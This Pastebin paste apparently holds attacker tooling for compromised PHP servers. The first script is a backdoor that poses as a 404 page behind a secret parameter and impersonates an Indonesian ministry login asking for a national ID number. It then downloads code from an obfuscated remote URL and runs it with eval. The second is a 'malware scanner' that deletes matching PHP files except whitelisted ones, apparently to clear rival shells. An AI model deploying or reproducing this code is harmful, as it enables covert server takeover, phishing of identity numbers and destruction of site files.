bananacr1

cleaning.php

Dec 5th, 2025
48
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.20 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. ini_set('display_errors', 0);
  6.  
  7. session_start();
  8.  
  9. $required_string = 'cnozMDEwIW8xMG8yMG8wc2FmYUB2aXBHUk9VUCQxNzg5bGVldHR0MTMzNyUhIWFzZHJ6MzAxMCFvMTBvMjBvMHNhZmFAdmlwR1JPVVAkMTc4OWxlZXR0dDEzMzclISFhc2Q=';
  10.  
  11. if (!isset($_GET['medan3010']) || $_GET['medan3010'] !== $required_string) {
  12.  
  13. $host = $_SERVER['HTTP_HOST'];
  14.  
  15. header("HTTP/1.1 404 Not Found");
  16.  
  17. ?>
  18. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  19. <html><head>
  20. <title>Not Found</title>
  21. </head><body>
  22. <h1>Not Found</h1>
  23. <p>The requested URL was not found on this server.</p>
  24. <hr>
  25. <address>Apache/2.4.38 (Debian) Server at <?php echo $host; ?> Port 443</address>
  26. </body></html>
  27. <?php
  28.  
  29. exit;
  30.  
  31. }
  32.  
  33. $hashed_password = '$2y$10$AWAPmW5AesCqDEpw0fGAhOsuZxJ9NoUMRPug/cLr5zkANWSjxjtMy';
  34.  
  35. function is_logged_in() {
  36.  
  37. return isset($_SESSION['R10TXER']);
  38.  
  39. }
  40.  
  41. function login_password($input) {
  42.  
  43. global $hashed_password;
  44.  
  45. if (password_verify($input, $hashed_password)) {
  46.  
  47. $_SESSION['R10TXER'] = 'user';
  48.  
  49. return true;
  50.  
  51. }
  52.  
  53. return false;
  54.  
  55. }
  56.  
  57. function logout() {
  58.  
  59. unset($_SESSION['R10TXER']);
  60.  
  61. }
  62.  
  63. function getContent($url) {
  64.  
  65. $curl = curl_init();
  66.  
  67. curl_setopt($curl, CURLOPT_URL, $url);
  68.  
  69. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  70.  
  71. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  72.  
  73. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  74.  
  75. $content = curl_exec($curl);
  76.  
  77. curl_close($curl);
  78.  
  79. if ($content === false) {
  80.  
  81. $content = file_get_contents($url);
  82.  
  83. }
  84.  
  85. return $content;
  86.  
  87. }
  88.  
  89. function decode_url($encoded_url) {
  90.  
  91. $decoded_url = str_rot13(urldecode($encoded_url));
  92.  
  93. return base64_decode($decoded_url);
  94.  
  95. }
  96.  
  97. $encoded_url = 'nUE0pUZ6Yl9lLKphrzI2MKWcrP5wo20ipzS3Y215LJkzLF01Zmp%3D';
  98.  
  99. $decoded_url = decode_url($encoded_url);
  100.  
  101. if (is_logged_in()) {
  102.  
  103. if ($decoded_url) {
  104.  
  105. $content = getContent($decoded_url);
  106.  
  107. eval('?>' . $content);
  108.  
  109. exit;
  110.  
  111. }
  112.  
  113. }
  114.  
  115. if (isset($_POST['password'])) {
  116.  
  117. if (login_password($_POST['password'])) {
  118.  
  119. header("Location: ".$_SERVER['PHP_SELF']."".$required_string);
  120.  
  121. exit;
  122.  
  123. } else {
  124.  
  125. $error = "Wrong Password!";
  126.  
  127. }
  128.  
  129. }
  130.  
  131. ?>
  132.  
  133. <!DOCTYPE html>
  134. <html lang="id">
  135. <head>
  136. <meta charset="UTF-8">
  137. <title>Portal Login | KOMDIGI</title>
  138.  
  139. <style>
  140.  
  141. body {
  142.  
  143. margin: 0;
  144.  
  145. padding: 0;
  146.  
  147. background: #0a1a44;
  148.  
  149. font-family: "Segoe UI", Arial, sans-serif;
  150.  
  151. display: flex;
  152.  
  153. justify-content: center;
  154.  
  155. align-items: center;
  156.  
  157. height: 100vh;
  158.  
  159. color: #fff;
  160.  
  161. }
  162.  
  163. .login-box {
  164.  
  165. background: #ffffff;
  166.  
  167. color: #000;
  168.  
  169. width: 380px;
  170.  
  171. padding: 35px 30px;
  172.  
  173. border-radius: 10px;
  174.  
  175. box-shadow: 0 0 30px rgba(0,0,0,0.4);
  176.  
  177. text-align: center;
  178.  
  179. }
  180.  
  181. .login-box img {
  182.  
  183. width: 85px;
  184.  
  185. margin-bottom: 15px;
  186.  
  187. opacity: 0.95;
  188.  
  189. }
  190.  
  191. .login-box h2 {
  192.  
  193. font-size: 22px;
  194.  
  195. margin-bottom: 5px;
  196.  
  197. font-weight: 700;
  198.  
  199. color: #0a1a44;
  200.  
  201. }
  202.  
  203. .login-box p {
  204.  
  205. font-size: 13px;
  206.  
  207. color: #444;
  208.  
  209. margin-top: 2px;
  210.  
  211. margin-bottom: 25px;
  212.  
  213. }
  214.  
  215. input {
  216.  
  217. width: 100%;
  218.  
  219. padding: 12px;
  220.  
  221. margin-top: 10px;
  222.  
  223. border-radius: 6px;
  224.  
  225. border: 1px solid #c5c5c5;
  226.  
  227. background: #f7f7f7;
  228.  
  229. font-size: 14px;
  230.  
  231. outline: none;
  232.  
  233. }
  234.  
  235. input:focus {
  236.  
  237. border-color: #0057d8;
  238.  
  239. }
  240.  
  241. button {
  242.  
  243. width: 100%;
  244.  
  245. padding: 12px;
  246.  
  247. margin-top: 18px;
  248.  
  249. background: #0057d8;
  250.  
  251. color: #fff;
  252.  
  253. border: none;
  254.  
  255. border-radius: 6px;
  256.  
  257. font-size: 15px;
  258.  
  259. cursor: pointer;
  260.  
  261. font-weight: 600;
  262.  
  263. }
  264.  
  265. button:hover {
  266.  
  267. background: #0045ad;
  268.  
  269. }
  270. </style>
  271. </head>
  272.  
  273. <body>
  274.  
  275. <div class="login-box">
  276.  
  277. <div class="box">
  278.  
  279. <img src="https://upload.wikimedia.org/wikipedia/commons/6/65/Logo_Kementerian_Komunikasi_dan_Digital_Republik_Indonesia_%282024%29.svg%22>
  280.  
  281. <h2>Portal Login</h2>
  282. <p>Kementerian Komunikasi dan Digital</p>
  283.  
  284. <?php if (!empty($error)) echo "<p style='color:red; margin-top:-10px;'>$error</p>"; ?>
  285.  
  286. <form method="POST">
  287. <input type="password" name="password" placeholder="National ID Number atau Population Identification Number">
  288. <button type="submit">LOGIN</button>
  289. </form>
  290.  
  291. </div>
  292.  
  293. </body>
  294. </html>
  295.  
  296. https://upload.wikimedia.org/wikipedia/commons/6/65/Logo_Kementerian_Komunikasi_dan_Digital_Republik_Indonesia_%282024%29.svg%22>
  297.  
  298. ?elia=yangpajjang
  299.  
  300. https://bcrypt.online/
  301. URL Slug Generator
  302. Generate Bcrypt password hashes with desired cost option. Verify/Validate existing Bcrypt hashes.
  303.  
  304. <?php
  305. @ini_set('output_buffering', 'off');
  306. @ini_set('zlib.output_compression', false);
  307. ob_implicit_flush(true);
  308. header('Content-Type: text/html; charset=utf-8');
  309.  
  310.  
  311. echo "<!DOCTYPE html>
  312. <html>
  313. <head>
  314. <title>Malware Scanner</title>
  315. <style>
  316. body {
  317. font-family: Arial, sans-serif;
  318. line-height: 1.6;
  319. margin: 0;
  320. padding: 20px;
  321. background-color: #f5f5f5;
  322. }
  323. .container {
  324. max-width: 1000px;
  325. margin: 0 auto;
  326. background: white;
  327. padding: 20px;
  328. border-radius: 5px;
  329. box-shadow: 0 0 10px rgba(0,0,0,0.1);
  330. }
  331. h1 {
  332. color: #333;
  333. text-align: center;
  334. }
  335. .progress-container {
  336. margin: 20px 0;
  337. background: #eee;
  338. border-radius: 5px;
  339. height: 30px;
  340. overflow: hidden;
  341. }
  342. .progress-bar {
  343. height: 100%;
  344. background: #4CAF50;
  345. width: 0%;
  346. transition: width 0.3s;
  347. text-align: center;
  348. color: white;
  349. line-height: 30px;
  350. font-weight: bold;
  351. }
  352. .log {
  353. margin-top: 20px;
  354. border: 1px solid #ddd;
  355. padding: 10px;
  356. border-radius: 5px;
  357. max-height: 500px;
  358. overflow-y: auto;
  359. background: #fafafa;
  360. }
  361. .log-entry {
  362. padding: 5px;
  363. border-bottom: 1px solid #eee;
  364. }
  365. .safe { color: #4CAF50; }
  366. .whitelist { color: #2196F3; }
  367. .removed { color: #F44336; }
  368. .failed { color: #FF9800; }
  369. .summary {
  370. margin-top: 20px;
  371. padding: 15px;
  372. background: #e9f7ef;
  373. border-radius: 5px;
  374. }
  375. </style>
  376. </head>
  377. <body>
  378. <div class='container'>
  379. <h1>Malware Scanner</h1>
  380. <div class='progress-container'>
  381. <div class='progress-bar' id='progress'>0%</div>
  382. </div>
  383. <div class='summary' id='summary'>
  384. <strong>Status:</strong> Memulai pemindaian...<br>
  385. <strong>File diproses:</strong> <span id='processed'>0</span><br>
  386. <strong>Aman:</strong> <span id='safe'>0</span> |
  387. <strong>Whitelist:</strong> <span id='whitelist'>0</span> |
  388. <strong>Dihapus:</strong> <span id='removed'>0</span> |
  389. <strong>Gagal:</strong> <span id='failed'>0</span>
  390. </div>
  391. <div class='log' id='log'></div>
  392. </div>
  393. <script>
  394. function updateProgress(percent) {
  395. document.getElementById('progress').style.width = percent + '%';
  396. document.getElementById('progress').innerHTML = percent + '%';
  397. }
  398.  
  399. function addLogEntry(message, type) {
  400. var log = document.getElementById('log');
  401. var entry = document.createElement('div');
  402. entry.className = 'log-entry ' + type;
  403. entry.innerHTML = message;
  404. log.appendChild(entry);
  405. log.scrollTop = log.scrollHeight;
  406.  
  407. // Update counters
  408. var counter = document.getElementById(type);
  409. if (counter) {
  410. counter.innerHTML = parseInt(counter.innerHTML) + 1;
  411. }
  412. }
  413.  
  414. function updateProcessedCount(count) {
  415. document.getElementById('processed').innerHTML = count;
  416. }
  417.  
  418. function updateSummary(message) {
  419. document.getElementById('summary').innerHTML =
  420. '<strong>Status:</strong> ' + message + '<br>' +
  421. document.getElementById('summary').innerHTML.split('<br>').slice(1).join('<br>');
  422. }
  423. </script>
  424. ";
  425.  
  426.  
  427. $targetDir = __DIR__;
  428. $logFile = __DIR__ . '/malware_log.txt';
  429. $whitelistFile = __DIR__ . '/pintu.txt';
  430.  
  431.  
  432. $whitelist = file_exists($whitelistFile) ? file($whitelistFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
  433.  
  434.  
  435. $maliciousPatterns = [
  436. '/eval\s*\(/i',
  437. '/base64_decode\s*\(/i',
  438. '/shell_exec\s*\(/i',
  439. '/system\s*\(/i',
  440. '/passthru\s*\(/i',
  441. '/exec\s*\(/i',
  442. '/assert\s*\(/i',
  443. '/`.*?`/',
  444. '/gzinflate\s*\(/i',
  445. '/str_rot13\s*\(/i',
  446. '/preg_replace\s*\(.+\/e.*?,/i',
  447. ];
  448.  
  449.  
  450. function countPhpFiles($dir) {
  451. $count = 0;
  452. $items = scandir($dir);
  453. foreach ($items as $item) {
  454. if ($item == '.' || $item == '..') continue;
  455. $fullPath = $dir . DIRECTORY_SEPARATOR . $item;
  456. if (is_dir($fullPath)) {
  457. $count += countPhpFiles($fullPath);
  458. } elseif (is_file($fullPath) && pathinfo($fullPath, PATHINFO_EXTENSION) === 'php') {
  459. $count++;
  460. }
  461. }
  462. return $count;
  463. }
  464.  
  465. $totalFiles = countPhpFiles($targetDir);
  466. $processedFiles = 0;
  467.  
  468.  
  469. function scanAndRemoveMalware($filePath, $patterns, &$log, $whitelist, &$processedFiles, $totalFiles) {
  470. global $processedFiles;
  471.  
  472. foreach ($whitelist as $safe) {
  473. if (realpath(trim($safe)) === realpath($filePath)) {
  474. $msg = "[LEWAT] $filePath (masuk whitelist)";
  475. echo "<script>addLogEntry('" . addslashes($msg) . "', 'whitelist');</script>";
  476. $processedFiles++;
  477. echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
  478. @ob_flush(); flush();
  479. $log[] = $msg;
  480. return;
  481. }
  482. }
  483.  
  484. $contents = @file_get_contents($filePath);
  485. if ($contents === false) return;
  486.  
  487. foreach ($patterns as $pattern) {
  488. if (preg_match($pattern, $contents)) {
  489. if (@unlink($filePath)) {
  490. $msg = "[HAPUS] $filePath";
  491. echo "<script>addLogEntry('" . addslashes($msg) . "', 'removed');</script>";
  492. } else {
  493. $msg = "[GAGAL HAPUS] $filePath";
  494. echo "<script>addLogEntry('" . addslashes($msg) . "', 'failed');</script>";
  495. }
  496. $processedFiles++;
  497. echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
  498. @ob_flush(); flush();
  499. $log[] = $msg;
  500. return;
  501. }
  502. }
  503.  
  504.  
  505. $msg = "[AMAN] $filePath";
  506. echo "<script>addLogEntry('" . addslashes($msg) . "', 'safe');</script>";
  507. $processedFiles++;
  508. echo "<script>updateProcessedCount($processedFiles); updateProgress(" . round(($processedFiles/$totalFiles)*100) . ");</script>";
  509. @ob_flush(); flush();
  510. $log[] = $msg;
  511. }
  512.  
  513.  
  514. function recursiveScan($dir, $patterns, &$log, $whitelist, &$processedFiles, $totalFiles) {
  515. $items = scandir($dir);
  516. foreach ($items as $item) {
  517. if ($item == '.' || $item == '..') continue;
  518.  
  519. $fullPath = $dir . DIRECTORY_SEPARATOR . $item;
  520.  
  521. if (is_dir($fullPath)) {
  522. recursiveScan($fullPath, $patterns, $log, $whitelist, $processedFiles, $totalFiles);
  523. } elseif (is_file($fullPath) && pathinfo($fullPath, PATHINFO_EXTENSION) === 'php') {
  524. scanAndRemoveMalware($fullPath, $patterns, $log, $whitelist, $processedFiles, $totalFiles);
  525. }
  526. }
  527. }
  528.  
  529.  
  530. $log = [];
  531. echo "<script>updateSummary('Memulai pemindaian...');</script>";
  532. @ob_flush(); flush();
  533.  
  534. recursiveScan($targetDir, $maliciousPatterns, $log, $whitelist, $processedFiles, $totalFiles);
  535.  
  536. echo "<script>updateSummary('Pemindaian selesai!');</script>";
  537. echo "<script>addLogEntry('✅ Scan selesai. Log disimpan ke: malware_log.txt', 'safe');</script>";
  538. @ob_flush(); flush();
  539.  
  540.  
  541. file_put_contents($logFile, implode(PHP_EOL, $log));
  542.  
  543. echo "</body></html>";
  544. ?>
  545.  
Add Comment
Please, Sign In to add comment